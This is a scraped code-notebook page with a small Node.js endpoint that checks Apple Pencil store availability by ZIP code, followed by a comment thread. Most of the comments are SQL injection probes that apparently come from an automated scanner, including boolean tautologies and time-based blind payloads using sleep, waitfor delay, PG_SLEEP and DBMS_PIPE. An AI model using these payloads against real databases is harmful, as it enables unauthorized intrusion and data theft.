 Pencil Availability

node v0.12.18
version: 2.0.0
endpointsharetweet
var React = require("react"); var ReactRender = require("react-dom/server").renderToString; var got = require('got'); var modelNumber = "MK0C2AM/A"; var zipCode = "94117"; var url = "http://www.apple.com/shop/retailStore/availabilitySearch?parts.0="+ encodeURIComponent(modelNumber) +"&zip="; exports.tonicEndpoint = async function(aRequest, aResponse) { try { var zip = require('url').parse(aRequest.url, true).query.zip || "94117"; var json = require('url').parse(aRequest.url, true).query.json || false; var results = await applePencilAvailability(zip); if (json) aResponse.end(JSON.stringify(results)); aResponse.setHeader('Content-Type', 'text/html'); aResponse.end(ReactRender(<ul>{ results.map(aResult => <li>{ aResult }</li>) }</ul>)); } catch(e) { aResponse.end(e + "!!"); } } //await exports.handleRequest({ url: "https://a/?zip=94117" }, { end: console.log }); //JSON.stringify(await applePencilAvailability("94567"))
async function applePencilAvailability(aZipCode) { var response = await got(url + aZipCode, { json: true }); return response.body['body']['stores'].map(function(store) { return store['partsAvailability'][modelNumber]['pickupQuote']; } ); }
Loading…

31 comments

  • posted 4 years ago by mustafa201611
    Master
  • posted 4 years ago by mustafa201611
    Hello world
  • posted 4 years ago by kadirselcuk
    test
  • posted 3 years ago by gazirana
    Hallo,Many Let Day ReNaice To Met.
  • posted 3 years ago by ashlee
    Set
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+788-788-1=0+0+0+1 --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+248-248-1=0+0+0+1
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+662-662-1=0+0+0+1 --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+25-25-1=0+0+0+1 or 'ywKCSRzi'='
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1" OR 2+382-382-1=0+0+0+1 --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*if(now()=sysdate(),sleep(15),0)
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1; waitfor delay '0:0:15' --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1); waitfor delay '0:0:15' --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 waitfor delay '0:0:15' --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1wzAXvI24'; waitfor delay '0:0:15' --
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 OR 910=(SELECT 910 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1)) OR 385=(SELECT 385 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1QhSiS791' OR 809=(SELECT 809 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1uJASMhdg') OR 519=(SELECT 519 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1ef3H3uUO')) OR 166=(SELECT 166 FROM PG_SLEEP(15))--
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    '"
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    ����%2527%2522\'\"
  • posted 4 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    @@L7b0G

sign in to comment